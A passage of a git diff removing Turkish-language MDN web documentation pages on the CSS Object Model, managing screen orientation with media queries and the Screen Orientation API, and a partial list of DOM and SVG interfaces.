<li>{{domxref("CSSStyleDeclaration")}}</li> - <li>{{domxref("CSSStyleSheet")}}</li> - <li>{{domxref("CSSStyleRule")}}</li> - <li>{{domxref("CSSSupportsRule")}}</li> - <li>{{domxref("CSSVariablesMap")}}</li> - <li>{{domxref("CSSViewportRule")}}</li> - <li>{{domxref("ElementCSSInlineStyle")}}</li> - <li>{{DOMxRef("FontFace")}}</li> - <li>{{DOMxRef("FontFaceSet")}}</li> - <li>{{DOMxRef("FontFaceSetLoadEvent")}}</li> - <li>{{domxref("GeometryUtils")}}</li> - <li>{{domxref("GetStyleUtils")}}</li> - <li>{{domxref("LinkStyle")}}</li> - <li>{{domxref("MediaList")}}</li> - <li>{{domxref("MediaQueryList")}}</li> - <li>{{DOMxRef("MediaQueryListEvent")}}</li> - <li>{{DOMxRef("MediaQueryListListener")}}</li> - <li>{{domxref("PseudoElement")}}</li> - <li>{{domxref("Screen")}}</li> - <li>{{domxref("StyleSheet")}}</li> - <li>{{domxref("StyleSheetList")}}</li> - <li>{{domxref("TransitionEvent")}}</li> -</ul> -</div> - -<p>Several other interfaces are also extended by the CSSOM-related specifications: {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.</p> - -<h3 id="CSS_Typed_Object_Model" name="CSS_Typed_Object_Model">CSS Typed Object Model {{experimental_inline}}</h3> - -<p>{{SeeCompatTable}}</p> - -<div class="index"> -<ul> - <li>{{DOMxRef("CSSImageValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSKeywordValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSMathInvert")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSMathMax")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSMathMin")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSMathNegate")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSMathProduct")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSMathSum")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSMathValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSMatrixComponent")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSNumericArray")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSNumericValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSPerspective")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSPositionValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSRotate")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSScale")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSSkew")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSSkewX")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSSkewY")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSStyleValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSTransformComponent")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSTransformValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSTranslate")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSUnitValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSUnparsedValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("CSSVariableReferenceValue")}} {{experimental_inline}}</li> - <li>{{DOMxRef("StylePropertyMap")}} {{experimental_inline}}</li> - <li>{{DOMxRef("StylePropertyMapReadOnly")}} {{experimental_inline}}</li> -</ul> -</div> - -<h3 id="Obsolete_CSSOM_interfaces" name="Obsolete_CSSOM_interfaces">Eski CSSOM Arayüzleri {{obsolete_inline}}</h3> - -<p>{{obsolete_header}}</p> - -<div class="index"> -<ul> - <li>{{DOMxRef("CSSPrimitiveValue")}} {{obsolete_inline}}</li> - <li>{{DOMxRef("CSSValue")}} {{obsolete_inline}}</li> - <li>{{DOMxRef("CSSValueList")}} {{obsolete_inline}}</li> -</ul> -</div> - -<h2 id="Öğretici_Materyaller">Öğretici Materyaller</h2> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Determining_the_dimensions_of_elements">Elementlerin Boyutunun Belirlenmesi</a> (DHTML/Ajax dönemlerinde olduğu gibi biraz güncellenmesi gerekiyor).</li> - <li><a href="https://developer.mozilla.org/en-US/docs/WebAPI/Managing_screen_orientation">Ekran oryantasyonunun yönetilmesi</a></li> -</ul> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName("CSS Typed OM")}}</td> - <td>{{Spec2("CSS Typed OM")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("CSS Painting API")}}</td> - <td>{{Spec2("CSS Painting API")}}</td> - <td>Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.</td> - </tr> - <tr> - <td>{{SpecName("CSSOM View")}}</td> - <td>{{Spec2("CSSOM View")}}</td> - <td>Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.</td> - </tr> - <tr> - <td>{{SpecName("CSSOM")}}</td> - <td>{{Spec2("CSSOM")}}</td> - <td>Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.</td> - </tr> - <tr> - <td>{{SpecName("Screen Orientation")}}</td> - <td>{{Spec2("Screen Orientation")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("CSS3 Fonts")}}</td> - <td>{{Spec2("CSS3 Fonts")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("CSS3 Animations")}}</td> - <td>{{Spec2("CSS3 Animations")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("CSS3 Transitions")}}</td> - <td>{{Spec2("CSS3 Transitions")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("CSS3 Variables")}}</td> - <td>{{Spec2("CSS3 Variables")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("CSS3 Conditional")}}</td> - <td>{{Spec2("CSS3 Conditional")}}</td> - <td>{{DOMxRef("CSS")}} arayüzü tanımlandı.</td> - </tr> - <tr> - <td>{{SpecName("CSS3 Device")}}</td> - <td>{{Spec2("CSS3 Device")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("CSS3 Counter Styles")}}</td> - <td>{{Spec2("CSS3 Counter Styles")}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("DOM2 Style")}}</td> - <td>{{Spec2("DOM2 Style")}}</td> - <td>İlk tanımlama.</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<p>Tüm bu özellikler yıllar içinde azar azar farklı tarayıcılara eklendi: Basit bir tabloyla özetlenemeyecek kadar karmaşık bir süreç olduğundan lütfen kullanılabilirlik için belirli arayüzlere bakın.</p> - -<h2 id="Ayrıca_Bkz.">Ayrıca Bkz.</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model (DOM)</a></li> -</ul> diff --git a/files/tr/web/api/css_object_model/managing_screen_orientation/index.html b/files/tr/web/api/css_object_model/managing_screen_orientation/index.html deleted file mode 100644 index c02e0c1215..0000000000 --- a/files/tr/web/api/css_object_model/managing_screen_orientation/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Ekran Oryantasyonunu Yönetmek -slug: Web/API/CSS_Object_Model/Managing_screen_orientation -tags: - - API - - CSSOM - - Ekran Konumu - - Ekran Oryantasyonu - - Oryantasyon - - Uzman -translation_of: Web/API/CSS_Object_Model/Managing_screen_orientation ---- -<div>{{DefaultAPISidebar("CSSOM View")}}{{SeeCompatTable}}</div> - -<h2 id="Özet">Özet</h2> - -<p>Ekran oryantasyonu <a href="/en-US/docs/WebAPI/Detecting_device_orientation" title="/en-US/docs/WebAPI/Detecting_device_orientation">cihaz oryantasyonundan</a> bir miktar farklı bir terim. Cihazın kendi oryantasyonunu tespit etme yeteneği olmasa bile ekranının her zaman bir oryantasyonu vardır. Eğer cihaz bu yeteneğe sahip ise web uygulamasının arayüzünü korumak veya uyarlamak için ekranı yönetme yeteneğine sahip olması faydalı bir özellik.</p> - -<p>Ekran oryantasyonunu yönetebilek için hem CSS'e hem Javascript'e dayanan çeşitli yöntemler mevcut. Bu yöntemlerden ilki <a href="/en-US/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">orientation media query CSS </a>kullanarak tarayıcının yatay modda (genişliğin yükseklikten uzun olduğu mod) veya dikey modda (yüksekliğin genişlikten uzun olduğu mod) içeriğin ekrandaki yerleşimini ayarlamasını sağlamak.</p> - -<p>İkinci yöntem ise Javascript Screen orientation API kullanılarak ekranın mevcut oryantasyonun alınması ve sabitlenmesi.</p> - -<h2 id="Oryantasyona_göre_yerleşim_planını_ayarlamak">Oryantasyona göre yerleşim planını ayarlamak</h2> - -<p>Cihazın oryantasyonu değiştiğinde içeriğin ekrandaki yerleşiminin de değişmesi en çok istenilen durumlardan biri. Örneğin buton çubuğunun cihazın oryantasyonu bounca uzamasını istiyoruz. Media query kullanarak kolay ve otomatik bir şekilde yapabiliriz.</p> - -<p>Aşağıdaki HTML kodu üzerinden bir örnek yapalım.</p> - -<pre class="brush: html"><ul id="toolbar"> - <li>A</li> - <li>B</li> - <li>C</li> -</ul> - -<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut interdum tristique dapibus. Nullam quis malesuada est.</p> -</pre> - -<p>CSS ekranın oryatasyonuna göre çalışacak özel stiller için media query'lere güveniyor.</p> - -<pre class="brush: css">/* Önce ortak stiller tanımlayalım */ - -html, body { - width : 100%; - height: 100%; -} - -body { - border: 1px solid black; - - -moz-box-sizing: border-box; - box-sizing: border-box; -} - -p { - font : 1em sans-serif; - margin : 0; - padding: .5em; -} - -ul { - list-style: none; - - font : 1em monospace; - margin : 0; - padding: .5em; - - -moz-box-sizing: border-box; - box-sizing: border-box; - - background: black; -} - -li { - display: inline-block; - margin : 0; - padding: 0.5em; - background: white; -} -</pre> - -<p>Ortak stillerimiz hazır olduğuna göre oryantasyona göre çalışacak özel durumları tanımlamaya başlayabiliriz.</p> - -<pre class="brush: css">/* Dikey modda buton çubuğunun üstte olmasını istiyoruz */ - -@media screen and (orientation: portrait) { - #toolbar { - width: 100%; - } -} - -/* Yatay modda buton çubuğunun solda durmasını istiyoruz */ - -@media screen and (orientation: landscape) { - #toolbar { - position: fixed; - width: 2.65em; - height: 100%; - } - - p { - margin-left: 2em; - } - - li + li { - margin-top: .5em; - } -} -</pre> - -<p>Ve sonuç:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Portrait</th> - <th scope="col">Landscape</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 180, 350) }}</td> - <td>{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 350, 180) }}</td> - </tr> - </tbody> -</table> - -<div class="note"> -<p><strong>Not:</strong> Oryantasyon media query'si tarayıcı penceresinin(veya iframe'in) oryantasyonuna göre bu stilleri çalıştırıyor cihazın oryantasyonuna göre değil.</p> -</div> - -<h2 id="Ekran_oryantasyonunu_sabitlemek">Ekran oryantasyonunu sabitlemek</h2> - -<div class="warning"> -<p><strong>Warning:</strong> Bu API şu anda deneysel bir çalışma ve <a href="/en-US/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> ile <a href="/en-US/docs/Mozilla/Firefox_for_Android" title="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a> 'de <code>moz</code> önekiyle, Windows 8.1 ve üstünde Internet Explorer'larda ise ms önekiyle kullanılabilir durumda.</p> -</div> - -<p>Bazı cihazlar (genellikle mobil cihazlar) kullanıcının kendi ekranındakileri her zaman okuyabileceğine garanti vererek ekran oryantasyonunu kendi oryantasyonuna göre dinamik olarak değiştirebiliyor. Bu davranış içerik metinlerden oluşuyorken çok iyi çalışmasına rağmen oryantasyona bağlı oyun gibi içeriklerde uygulamayı tamamen kullanılmaz hale getirebiliyor.</p> - -<p>Screen Orientation API bu şekilde negatif etkisi olan değişimlerin engellenmesi için geliştirildi.</p> - -<h3 id="Oryantasyon_değişikliğini_dinleme">Oryantasyon değişikliğini dinleme</h3> - -<p>Cihaz oryantasyonunu her değiştirdiğinde {{event("orientationchange")}} event'i tetiklenir ve o anki oryantasyonu {{domxref("Screen.orientation")}} özelliğiyle okunabilir.</p> - -<pre class="brush: js">screen.addEventListener("orientationchange", function () { - console.log("Ekranın oryantasyonu: " + screen.orientation); -}); -</pre> - -<h3 id="Oryantasyon_değişikliğini_engelleme">Oryantasyon değişikliğini engelleme</h3> - -<p>Bir web uygulaması ekranın oryantasyonunu kendi ihityaçlarına uyacak şekilde sabitleyebilir. Ekranın oryantasyonunu sabitlemek için {{domxref("Screen.lockOrientation()")}} metodu kullanılırken sabitlemeyi kaldırmak için ise {{domxref("Screen.unlockOrientation()")}} metodu kullanılabilir.</p> - -<p>{{domxref("Screen.lockOrientation()")}} parametre olarak ekranın nasıl sabitlenmesi gerektiğine göre String (veya birden çok string) parametre alır. Geçerli parametre değerleri: <code>portrait-primary</code>, <code>portrait-secondary</code>, <code>landscape-primary</code>, <code>landscape-secondary</code>, <code>portrait</code>, <code>landscape</code> . (Bu değerler hakkında detaylı bilgi için Bkz: {{domxref("Screen.lockOrientation")}}).</p> - -<pre class="brush: js">screen.lockOrientation('landscape');</pre> - -<div class="note"> -<p><strong>Not:</strong>Ekranı sabitlemek web uygulaması bağımlıdır. Eğer uygulama A yatay moda sabitlenmiş ve uygulama B dkey moda sabitlenmiş ise A'dan B'ye ya da B'den A'ya geçildiğinde {{event("orientationchange")}} event'i tetiklenmez. Çünkü ikisi de kendi oryantasyonlarını korumaktadır.</p> - -<p>Ancak oryantasyonu sabitlerken istenen mevcut oryantasyon değişerek sabitlenen oryantasyona geçildiyse {{event("orientationchange")}} event'i tetiklenir.</p> -</div> - -<h2 id="Firefox_OS_ve_Android_Manifest_ile_oryantasyonu_sabitleme">Firefox OS ve Android: Manifest ile oryantasyonu sabitleme</h2> - -<p>Firefox OS ve Firefox Android (yakında Firefox masaüstü de) için oryantasyonu sabitlemenin özel bir yolu uygulamanın manifest dosyasının <a href="/en-US/Apps/Build/Manifest#orientation">orientation </a>alanına istenen oryantasyon modunu yazmak. Örneğin dikey mod için:</p> - -<pre class="brush: json">"orientation": "portrait"</pre> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{domxref("Screen.orientation")}}</li> - <li>{{domxref("Screen.lockOrientation()")}}</li> - <li>{{domxref("Screen.unlockOrientation()")}}</li> - <li>{{domxref("Screen.onorientationchange")}}</li> - <li><a href="/en-US/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">The orientation media query</a></li> - <li><a class="external" href="http://hacks.mozilla.org/2009/06/media-queries/" title="http://hacks.mozilla.org/2009/06/media-queries/">A short introduction to media queries in Firefox 3.5</a></li> -</ul> diff --git a/files/tr/web/api/document_object_model/index.html b/files/tr/web/api/document_object_model/index.html deleted file mode 100644 index 813aac4a2c..0000000000 --- a/files/tr/web/api/document_object_model/index.html +++ /dev/null @@ -1,476 +0,0 @@ ---- -title: Document Object Model (DOM) -slug: Web/API/Document_Object_Model -tags: - - API - - DOM - - NeedsTranslation - - Overview - - Reference - - TopicStub -translation_of: Web/API/Document_Object_Model ---- -<div>{{DefaultAPISidebar("DOM")}}</div> - -<p>The <strong>Document Object Model (<em>DOM</em>)</strong> connects web pages to scripts or programming languages. Usually that means JavaScript, although modelling HTML, SVG, or XML documents as objects is not part of the JavaScript language, as such.</p> - -<p>The DOM represents a document with a logical tree. Each branch of the tree ends in a node, and each node contains objects. DOM methods allow programmatic access to the tree; with them you can change the document's structure, style, or content. Nodes can also have event handlers attached to them; once an event is triggered, the event handlers get executed.</p> - -<p>An <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">introduction to the DOM</a> is available.</p> - -<h2 id="DOM_interfaces">DOM interfaces</h2> - -<div class="index"> -<ul> - <li>{{DOMxRef("Attr")}}</li> - <li>{{DOMxRef("CDATASection")}}</li> - <li>{{DOMxRef("CharacterData")}}</li> - <li>{{DOMxRef("ChildNode")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("Comment")}}</li> - <li>{{DOMxRef("CustomEvent")}}</li> - <li>{{DOMxRef("Document")}}</li> - <li>{{DOMxRef("DocumentFragment")}}</li> - <li>{{DOMxRef("DocumentType")}}</li> - <li>{{DOMxRef("DOMError")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("DOMException")}}</li> - <li>{{DOMxRef("DOMImplementation")}}</li> - <li>{{DOMxRef("DOMString")}}</li> - <li>{{DOMxRef("DOMTimeStamp")}}</li> - <li>{{DOMxRef("DOMStringList")}}</li> - <li>{{DOMxRef("DOMTokenList")}}</li> - <li>{{DOMxRef("Element")}}</li> - <li>{{DOMxRef("Event")}}</li> - <li>{{DOMxRef("EventTarget")}}</li> - <li>{{DOMxRef("HTMLCollection")}}</li> - <li>{{DOMxRef("MutationObserver")}}</li> - <li>{{DOMxRef("MutationRecord")}}</li> - <li>{{DOMxRef("NamedNodeMap")}}</li> - <li>{{DOMxRef("Node")}}</li> - <li>{{DOMxRef("NodeFilter")}}</li> - <li>{{DOMxRef("NodeIterator")}}</li> - <li>{{DOMxRef("NodeList")}}</li> - <li>{{DOMxRef("NonDocumentTypeChildNode")}}</li> - <li>{{DOMxRef("ParentNode")}}</li> - <li>{{DOMxRef("ProcessingInstruction")}}</li> - <li>{{DOMxRef("Selection")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("Range")}}</li> - <li>{{DOMxRef("Text")}}</li> - <li>{{DOMxRef("TextDecoder")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("TextEncoder")}} {{Experimental_Inline}}</li> - <li>{{DOMxRef("TimeRanges")}}</li> - <li>{{DOMxRef("TreeWalker")}}</li> - <li>{{DOMxRef("URL")}}</li> - <li>{{DOMxRef("Window")}}</li> - <li>{{DOMxRef("Worker")}}</li> - <li>{{DOMxRef("XMLDocument")}} {{Experimental_Inline}}</li> -</ul> -</div> - -<h3 id="Obsolete_DOM_interfaces">Obsolete DOM interfaces</h3> - -<p>The Document Object Model has been highly simplified. To achieve this, the following interfaces present in the different DOM level 3 or earlier specifications have been removed. It is uncertain whether some may be reintroduced in the future or not, but for the time being they should be considered obsolete and should be avoided:</p> - -<div class="index"> -<ul> - <li>{{DOMxRef("DocumentTouch")}}</li> - <li>{{DOMxRef("DOMConfiguration")}}</li> - <li>{{DOMxRef("DOMErrorHandler")}}</li> - <li>{{DOMxRef("DOMImplementationList")}}</li> - <li>{{DOMxRef("DOMImplementationRegistry")}}</li> - <li>{{DOMxRef("DOMImplementationSource")}}</li> - <li>{{DOMxRef("DOMLocator")}}</li> - <li>{{DOMxRef("DOMObject")}}</li> - <li>{{DOMxRef("DOMSettableTokenList")}}</li> - <li>{{DOMxRef("DOMUserData")}}</li> - <li>{{DOMxRef("ElementTraversal")}}</li> - <li>{{DOMxRef("Entity")}}</li> - <li>{{DOMxRef("EntityReference")}}</li> - <li>{{DOMxRef("NameList")}}</li> - <li>{{DOMxRef("Notation")}}</li> - <li>{{DOMxRef("TypeInfo")}}</li> - <li>{{DOMxRef("UserDataHandler")}}</li> -</ul> -</div> - -<h2 id="HTML_interfaces">HTML interfaces</h2> - -<p>A document containing HTML is described using the {{DOMxRef("Document")}} interface, which is extended by the HTML specification to include various HTML-specific features.</p> - -<p>An HTML document object also gives access to various features of browsers like the tab or the window, in which a page is drawn using the {{DOMxRef("Window")}} interface, the {{DOMxRef("window.style", "Style")}} associated to it (usually CSS), the history of the browser relative to the context, {{DOMxRef("window.history", "History")}}. Eventually, {{DOMxRef("Selection")}} is done on the document.</p> - -<h3 id="HTML_element_interfaces">HTML element interfaces</h3> - -<div class="index"> -<ul> - <li>{{DOMxRef("HTMLAnchorElement")}}</li> - <li>{{DOMxRef("HTMLAppletElement")}} {{Obsolete_Inline}}</li> - <li>{{DOMxRef("HTMLAreaElement")}}</li> - <li>{{DOMxRef("HTMLAudioElement")}}</li> - <li>{{DOMxRef("HTMLBaseElement")}}</li> - <li>{{DOMxRef("HTMLBodyElement")}}</li> - <li>{{DOMxRef("HTMLBRElement")}}</li> - <li>{{DOMxRef("HTMLButtonElement")}}</li> - <li>{{DOMxRef("HTMLCanvasElement")}}</li> - <li>{{DOMxRef("HTMLDataElement")}}</li> - <li>{{DOMxRef("HTMLDataListElement")}}</li> - <li>{{DOMxRef("HTMLDialogElement")}}</li> - <li>{{DOMxRef("HTMLDirectoryElement")}}</li> - <li>{{DOMxRef("HTMLDivElement")}}</li> - <li>{{DOMxRef("HTMLDListElement")}}</li> - <li>{{DOMxRef("HTMLElement")}}</li> - <li>{{DOMxRef("HTMLEmbedElement")}}</li> - <li>{{DOMxRef("HTMLFieldSetElement")}}</li> - <li>{{DOMxRef("HTMLFontElement")}}</li> - <li>{{DOMxRef("HTMLFormElement")}}</li> - <li>{{DOMxRef("HTMLFrameElement")}}</li> - <li>{{DOMxRef("HTMLFrameSetElement")}}</li> - <li>{{DOMxRef("HTMLHeadElement")}}</li> - <li>{{DOMxRef("HTMLHeadingElement")}}</li> - <li>{{DOMxRef("HTMLHtmlElement")}}</li> - <li>{{DOMxRef("HTMLHRElement")}}</li> - <li>{{DOMxRef("HTMLIFrameElement")}}</li> - <li>{{DOMxRef("HTMLImageElement")}}</li> - <li>{{DOMxRef("HTMLInputElement")}}</li> - <li>{{DOMxRef("HTMLKeygenElement")}}</li> - <li>{{DOMxRef("HTMLLabelElement")}}</li> - <li>{{DOMxRef("HTMLLegendElement")}}</li> - <li>{{DOMxRef("HTMLLIElement")}}</li> - <li>{{DOMxRef("HTMLLinkElement")}}</li> - <li>{{DOMxRef("HTMLMapElement")}}</li> - <li>{{DOMxRef("HTMLMarqueeElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("HTMLMediaElement")}}</li> - <li>{{DOMxRef("HTMLMenuElement")}}</li> - <li>{{DOMxRef("HTMLMenuItemElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("HTMLMetaElement")}}</li> - <li>{{DOMxRef("HTMLMeterElement")}}</li> - <li>{{DOMxRef("HTMLModElement")}}</li> - <li>{{DOMxRef("HTMLObjectElement")}}</li> - <li>{{DOMxRef("HTMLOListElement")}}</li> - <li>{{DOMxRef("HTMLOptGroupElement")}}</li> - <li>{{DOMxRef("HTMLOptionElement")}}</li> - <li>{{DOMxRef("HTMLOutputElement")}}</li> - <li>{{DOMxRef("HTMLParagraphElement")}}</li> - <li>{{DOMxRef("HTMLParamElement")}}</li> - <li>{{DOMxRef("HTMLPreElement")}}</li> - <li>{{DOMxRef("HTMLProgressElement")}}</li> - <li>{{DOMxRef("HTMLQuoteElement")}}</li> - <li>{{DOMxRef("HTMLScriptElement")}}</li> - <li>{{DOMxRef("HTMLSelectElement")}}</li> - <li>{{DOMxRef("HTMLSourceElement")}}</li> - <li>{{DOMxRef("HTMLSpanElement")}}</li> - <li>{{DOMxRef("HTMLStyleElement")}}</li> - <li>{{DOMxRef("HTMLTableElement")}}</li> - <li>{{DOMxRef("HTMLTableCaptionElement")}}</li> - <li>{{DOMxRef("HTMLTableCellElement")}}</li> - <li>{{DOMxRef("HTMLTableDataCellElement")}}</li> - <li>{{DOMxRef("HTMLTableHeaderCellElement")}}</li> - <li>{{DOMxRef("HTMLTableColElement")}}</li> - <li>{{DOMxRef("HTMLTableRowElement")}}</li> - <li>{{DOMxRef("HTMLTableSectionElement")}}</li> - <li>{{DOMxRef("HTMLTextAreaElement")}}</li> - <li>{{DOMxRef("HTMLTimeElement")}}</li> - <li>{{DOMxRef("HTMLTitleElement")}}</li> - <li>{{DOMxRef("HTMLTrackElement")}}</li> - <li>{{DOMxRef("HTMLUListElement")}}</li> - <li>{{DOMxRef("HTMLUnknownElement")}}</li> - <li>{{DOMxRef("HTMLVideoElement")}}</li> -</ul> -</div> - -<h3 id="Other_interfaces">Other interfaces</h3> - -<div class="index"> -<ul> - <li>{{DOMxRef("CanvasRenderingContext2D")}}</li> - <li>{{DOMxRef("WebGLRenderingContext")}}</li> - <li>{{DOMxRef("CanvasGradient")}}</li> - <li>{{DOMxRef("CanvasPattern")}}</li> - <li>{{DOMxRef("TextMetrics")}}</li> - <li>{{DOMxRef("ImageData")}}</li> - <li>{{DOMxRef("CanvasPixelArray")}}</li> - <li>{{DOMxRef("NotifyAudioAvailableEvent")}}</li> - <li>{{DOMxRef("HTMLAllCollection")}}</li> - <li>{{DOMxRef("HTMLFormControlsCollection")}}</li> - <li>{{DOMxRef("HTMLOptionsCollection")}}</li> - <li>{{DOMxRef("HTMLPropertiesCollection")}}</li> - <li>{{DOMxRef("DOMStringMap")}}</li> - <li>{{DOMxRef("RadioNodeList")}}</li> - <li>{{DOMxRef("MediaError")}}</li> -</ul> -</div> - -<h3 id="Obsolete_HTML_interfaces">Obsolete HTML interfaces</h3> - -<div class="index"> -<ul> - <li>{{DOMxRef("HTMLBaseFontElement")}}</li> - <li>{{DOMxRef("HTMLIsIndexElement")}}</li> - <li>{{DOMxRef("HTMLMarqueeElement")}}</li> - <li>{{DOMxRef("HTMLMenuItemElement")}}</li> -</ul> -</div> - -<h2 id="SVG_interfaces">SVG interfaces</h2> - -<h3 id="SVG_element_interfaces">SVG element interfaces</h3> - -<div class="index"> -<ul> - <li>{{DOMxRef("SVGAElement")}}</li> - <li>{{DOMxRef("SVGAltGlyphElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGAltGlyphDefElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGAltGlyphItemElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGAnimationElement")}}</li> - <li>{{DOMxRef("SVGAnimateElement")}}</li> - <li>{{DOMxRef("SVGAnimateColorElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGAnimateMotionElement")}}</li> - <li>{{DOMxRef("SVGAnimateTransformElement")}}</li> - <li>{{DOMxRef("SVGCircleElement")}}</li> - <li>{{DOMxRef("SVGClipPathElement")}}</li> - <li>{{DOMxRef("SVGColorProfileElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGComponentTransferFunctionElement")}}</li> - <li>{{DOMxRef("SVGCursorElement")}}</li> - <li>{{DOMxRef("SVGDefsElement")}}</li> - <li>{{DOMxRef("SVGDescElement")}}</li> - <li>{{DOMxRef("SVGElement")}}</li> - <li>{{DOMxRef("SVGEllipseElement")}}</li> - <li>{{DOMxRef("SVGFEBlendElement")}}</li> - <li>{{DOMxRef("SVGFEColorMatrixElement")}}</li> - <li>{{DOMxRef("SVGFEComponentTransferElement")}}</li> - <li>{{DOMxRef("SVGFECompositeElement")}}</li> - <li>{{DOMxRef("SVGFEConvolveMatrixElement")}}</li> - <li>{{DOMxRef("SVGFEDiffuseLightingElement")}}</li> - <li>{{DOMxRef("SVGFEDisplacementMapElement")}}</li> - <li>{{DOMxRef("SVGFEDistantLightElement")}}</li> - <li>{{DOMxRef("SVGFEDropShadowElement")}}</li> - <li>{{DOMxRef("SVGFEFloodElement")}}</li> - <li>{{DOMxRef("SVGFEFuncAElement")}}</li> - <li>{{DOMxRef("SVGFEFuncBElement")}}</li> - <li>{{DOMxRef("SVGFEFuncGElement")}}</li> - <li>{{DOMxRef("SVGFEFuncRElement")}}</li> - <li>{{DOMxRef("SVGFEGaussianBlurElement")}}</li> - <li>{{DOMxRef("SVGFEImageElement")}}</li> - <li>{{DOMxRef("SVGFEMergeElement")}}</li> - <li>{{DOMxRef("SVGFEMergeNodeElement")}}</li> - <li>{{DOMxRef("SVGFEMorphologyElement")}}</li> - <li>{{DOMxRef("SVGFEOffsetElement")}}</li> - <li>{{DOMxRef("SVGFEPointLightElement")}}</li> - <li>{{DOMxRef("SVGFESpecularLightingElement")}}</li> - <li>{{DOMxRef("SVGFESpotLightElement")}}</li> - <li>{{DOMxRef("SVGFETileElement")}}</li> - <li>{{DOMxRef("SVGFETurbulenceElement")}}</li> - <li>{{DOMxRef("SVGFilterElement")}}</li> - <li>{{DOMxRef("SVGFilterPrimitiveStandardAttributes")}}</li> - <li>{{DOMxRef("SVGFontElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGFontFaceElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGFontFaceFormatElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGFontFaceNameElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGFontFaceSrcElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGFontFaceUriElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGForeignObjectElement")}}</li> - <li>{{DOMxRef("SVGGElement")}}</li> - <li>{{DOMxRef("SVGGeometryElement")}}</li> - <li>{{DOMxRef("SVGGlyphElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGGlyphRefElement")}} {{Deprecated_Inline}}</li> - <li>{{DOMxRef("SVGGradientElement")}}</li> - 